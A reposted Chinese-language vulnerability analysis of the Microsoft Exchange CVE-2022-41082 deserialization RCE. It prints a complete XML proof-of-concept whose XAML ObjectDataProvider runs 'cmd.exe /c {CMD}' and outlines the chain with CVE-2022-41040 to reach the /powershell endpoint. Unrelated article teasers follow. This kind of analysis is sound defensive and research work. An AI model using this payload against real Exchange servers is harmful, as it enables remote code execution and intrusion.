CVE-2022-41082:Microsoft Exchange 反序列化类型混淆 RCE 漏洞简单分析

news2024/11/23 23:33:16

简介

  • 漏洞编号:CVE-2022-41082
  • 漏洞类型:类型混淆
  • 软件名称:Microsoft Exchange
  • 模块名称:Exchange 服务 powershell 接口模块
  • 历史漏洞:易受攻击的流行软件
  • 影响的版本:Microsoft Exchange Server 2019 2016 2013
  • 攻击利用:检测到在野利用

原因分析

  • 通过 CVE-2022-41040 能够开启 Exchange 服务器的远程 powershell 支持,进而可以通过 powershell 传递序列化对象,序列化对象通过 xml 文件协议定义
  • 具体的 xml poc 如下所示,poc 中的序列化数据中定义了一个类型为 System.ServiceProcess.ServiceController 的序列化对象,该序列化对象在 Props 标签中内嵌了一个名称为 TargetTypeForDeserialization 的对象,Props 标签中返回自定义的反序列化对象类型
<Obj RefId="13">
    <TN RefId="0">
        <T>System.Management.Automation.PSCustomObject</T>
        <T>System.Object</T>
    </TN>
    <MS>
        <S N="N">-Identity:</S>
        <!--Object type section-->
        <Obj N="V" RefId="14">
            <TN RefId="2">
                <T>System.ServiceProcess.ServiceController</T>
                <T>System.Object</T>
            </TN>
            <ToString>System.ServiceProcess.ServiceController</ToString>
            <Props>
                <S N="Name">Type</S>
                <Obj N="TargetTypeForDeserialization">
                    <TN RefId="2">
                        <T>System.Exception</T>
                        <T>System.Object</T>
                    </TN>
                    <MS>
                        <BA N="SerializationData">AAEAAAD/AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
                    </MS>
                </Obj>
            </Props>
            <S>
                <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
            </S>
        </Obj>
    </MS>
</Obj>
  • 当 Exchange 服务器拿到 xml 序列化数据后就开始调用 InternalDeserializer->ReadOneObject 进行反序列化
    在这里插入图片描述

  • 如果对象 Props 标签中内嵌了名称为 TargetTypeForDeserialization 的对象,则通过 ReadOneDeserializedObject->ReadPSObject 获取 props 属性中的自定义的反序列化对象
    在这里插入图片描述

  • ReadOneObject->GetTargetTypeForDeserialization 函数会根据 TargetTypeForDeserialization 中的信息返回自定义反序列化对象的类型,这里类型为 System.Exception
    在这里插入图片描述

  • 而 System.Exception 通过 Microsoft.Exchange.Data.SerializationTypeConverter 的 DeserializeObject 函数对 Props 标签中的内嵌对象的 SerializationData 数据进行反序列化

  • 由于 SerializationData 中保存的是序列化后的 System.UnitySerializationHolder 对象,所以反序列化后也应该为 System.UnitySerializationHolder,但是被修改为了 System.Windows.Markup.XamlReader 对象

  • 内嵌对象处理完成之后,接下来进一步反序列化 ServiceController 对象,但由于 ServiceController 在 types.ps1xml 中并没有定义 TargetTypeForDeserialization 信息,所以会在 Props 标签内嵌的 obj 中寻找 TargetTypeForDeserialization 属性,从而将反序列化的属性定义为 XamlReader,然后就会调用其 Parse 方法反序列化 S 标签中的数据

构建与利用

利用姿势

  • 通过修改 S 标签中的属性为如下 xml 数据,并求改 {CMD} 为执行的 cmd 命令从而执行任意代码
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
    <System:String>cmd.exe</System:String>
    <System:String>/c {CMD}</System:String>
    </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    </ResourceDictionary>
]]>

poc 的构建流程

  • 该漏洞需要配合 CVE-2022-41040(SSRF) 来形成完整的攻击链,通过 CVE-2022-41040 通过注册用户的用户名和密码进行认证,认证成功之后就可以和 Exchange 服务器的 powershell 接口进行交互,从而伪造序列化请求

  • CVE-2022-41040 利用成功之后,通过构造用于初始化 session 和初始化运行空间池的结构,并对此结构进行序列化操作
    在这里插入图片描述

  • 之后构造特殊的 POST 请求数据发送到服务器的 /powershell 接口,在响应中提取 shellid,该值用于维持与服务器的连接
    在这里插入图片描述

  • 然后替换掉载荷的 CMD 命令,序列化后放到新的 POST 请求里在发送到服务器,这样就完成了 RCE 操作
    在这里插入图片描述
    在这里插入图片描述

缓解

  • 补丁下载:https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2022-41082

参考

  • https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/
  • https://xz.aliyun.com/t/12634
  • https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1126128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

webpack proxy如何解决跨域?

一、是什么 webpack proxy&#xff0c;即webpack提供的代理服务 基本行为就是接收客户端发送的请求后转发给其他服务器 其目的是为了便于开发者在开发模式下解决跨域问题&#xff08;浏览器安全策略限制&#xff09; 想要实现代理首先需要一个中间服务器&#xff0c;webpac…

.obj模型文件(带材质和纹理)合并的基本思路

1、将v开头的顶点信息依次拷贝到合并新.obj中 2、将vt纹理坐标依次拷贝到合并新.obj中 3、f&#xff08;面&#xff09;的合并 步骤&#xff1a; &#xff08;1&#xff09;第一个obj文件的f&#xff08;面&#xff09;原封不动拷进新.obj中 &#xff08;2&#xff09;第二个…

SpringMVC(三)获取请求参数

1.1通过ServletAPI获取 SpringMVC封装的就是原生的servlet 我们进行测试如下所示&#xff1a; package com.rgf.controller.service;import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.…

git rebase 和 git merge的区别?

一、是什么 在使用 git 进行版本管理的项目中&#xff0c;当完成一个特性的开发并将其合并到 master 分支时&#xff0c;会有两种方式&#xff1a; git mergegit rebase git rebase 与 git merge都有相同的作用&#xff0c;都是将一个分支的提交合并到另一分支上&#xff0c…

nodejs+vue大学生社团管理系统

通过软件的需求分析已经获得了系统的基本功能需求&#xff0c;根据需求&#xff0c;将大学生社团管理系统平台功能模块主要分为管理员模块。管理员添加社团成员管理、社团信息管理&#xff0c;社长管理、用户注册管理等操作。 目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1…

【Java笔试强训】Day4(WY33 计算糖果、DD5 进制转换)

WY33 计算糖果 链接&#xff1a;WY33 计算糖果 题目&#xff1a; A,B,C三个人是好朋友,每个人手里都有一些糖果,我们不知道他们每个人手上具体有多少个糖果,但是我们知道以下的信息&#xff1a; A - B, B - C, A B, B C. 这四个数值.每个字母代表每个人所拥有的糖果数. 现…

SpringBoot 统一响应返回格式格式 数组

RequestMapping("/update")public Result login() {List<String> arr new ArrayList<>();arr.add("123");arr.add("456");return Result.success("获取成功",arr);}public class Result {public Result(int code,String …

js关于深度克隆问题

js的克隆是一个老生常谈的内容了,今天没啥好写的,就写这个了 要搞清楚js的克隆,就需要先搞清楚js中的数据类型,js中数据类型分为两大类 类型说明原始类型-string字符串类型&#xff0c;用于表示文本数据。number数字类型&#xff0c;包括整数和浮点数&#xff0c;用于表示数值…

django 商品及购物车逻辑实现

基于类视图模式实现商品分类菜单接口开发 创建菜单子应用 python manage.py startapp menu测试 apps/menu/views from django.http import HttpResponse from django.views import Viewclass GoodsMainMenu(View):def get(self,request):print("get请求")return …

数据类型【MySQL】

文章目录 数据类型分类 数值类型TINYINTINTBITFLOATDECIMAL 字符串类型CHARVARCHARCHAR 和 VARCHAR 的比较BLOBTEXTNULL 和 日期和时间类型ENUM 和 SETFIND_IN_SET 参考资料 阅读前导&#xff1a;SQL 规定关键字应该大写&#xff0c;实际上在命令行使用 SQL 语句时为了方便和可…

Spring | Spring Cache 缓存框架

Spring Cache 缓存框架&#xff1a; Spring Cache功能介绍Spring Cache的Maven依赖Spring Cache的常用注解EnableCaching注解CachePut注解Cacheable注解CacheEvict注解 Spring Cache功能介绍 Spring Cache是Spring的一个框架&#xff0c;实现了基于注解的缓存功能。只需简单加一…

40 JAVA安全-JWT安全及预编译CASE注入等

目录 SQL Injection(mitigation)演示案例:Javaweb-SQL注入攻击-预编译机制绕过Javaweb-身份验证攻击-JWT修改伪造攻击 jwt加解密&#xff1a;https://jwt.io/#debugger-io 通过前期的WEB漏洞的学习&#xff0c;掌握了大部分的安全漏洞的原理及利用&#xff0c;但在各种脚本语言…

互联网Java工程师面试题·Spring篇·第一弹

目录 1、一般问题 1.1、不同版本的 Spring Framework 有哪些主要功能&#xff1f; 1.2、什么是 Spring Framework&#xff1f; 1.3、列举 Spring Framework 的优点。 1.4、Spring Framework 有哪些不同的功能&#xff1f; 1.5、Spring Framework 中有多少个模块&#xff…

docker和k8s之间的关系

一句话总结&#xff1a;Docker只是容器的一种&#xff0c;它面向的是单体&#xff0c;K8S可以管理多种容器&#xff0c;它面向的是集群&#xff0c;Docker可以作为一种容器方案被K8S管理。 https://baijiahao.baidu.com/s?id1763716289717819767&wfrspider&forpc 背…

input框输入中文时,输入未完成触发事件。Vue中文输入法不触发input事件?

前言 在做搜索输入框时&#xff0c;产品期待实时搜索&#xff0c;就是边输入边搜索&#xff0c;然而对于中文输入法出现的效果&#xff0c;不同的产品可能有不同的意见&#xff0c;有的觉得输入未完成也应该触发搜索。但有的却认为应该在中文输入完成后再触发搜索。我发现在vu…

安全、高效远程访问大数据分析平台解决方法:Splunk Enterprise+Cpolar

文章目录 前言1. 搭建Splunk Enterprise2. windows 安装 cpolar3. 创建Splunk Enterprise公网访问地址4. 远程访问Splunk Enterprise服务5. 固定远程地址 前言 Splunk Enterprise是一个强大的机器数据管理平台&#xff0c;可帮助客户分析和搜索数据&#xff0c;以及可视化数据…

安装docker ,更换docker版本

docker dockerd & containerd Dockerd&#xff08;Docker 守护进程&#xff09;在其底层使用 Containerd 来管理容器。Containerd 是一个开源的容器运行时管理器&#xff0c;由 Docker 公司于2017年开发并开源&#xff0c;它负责实际的容器生命周期管理。 以下是 Docker 守…

Web前端-Vue2+Vue3基础入门到实战项目-Day5(自定义指令, 插槽, 案例商品列表, 路由入门)

自定义指令 基本使用 自定义指令: 自己定义的指令, 可以封装一些dom操作, 扩展额外功能全局注册// 1. 全局注册指令 Vue.directive(focus, {// inserted 会在 指令所在的元素, 被插入到页面中时触发inserted (el) {// el 就是指令所绑定的元素// console.log(el)el.focus()} …

hive 问题解决 Class path contains multiple SLF4J bindings

hive输入命令时出现日志冲突提示&#xff08;问题不复杂&#xff0c;是个warn&#xff0c;强迫症解决&#xff0c;做项目经常遇到&#xff0c;项目里是处理maven。这里处理方法思路类似。&#xff09; 问题&#xff1a; SLF4J: Class path contains multiple SLF4J bindings. …

【Java集合类面试十二】、HashMap为什么线程不安全?

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;HashMap为什么线程不安全…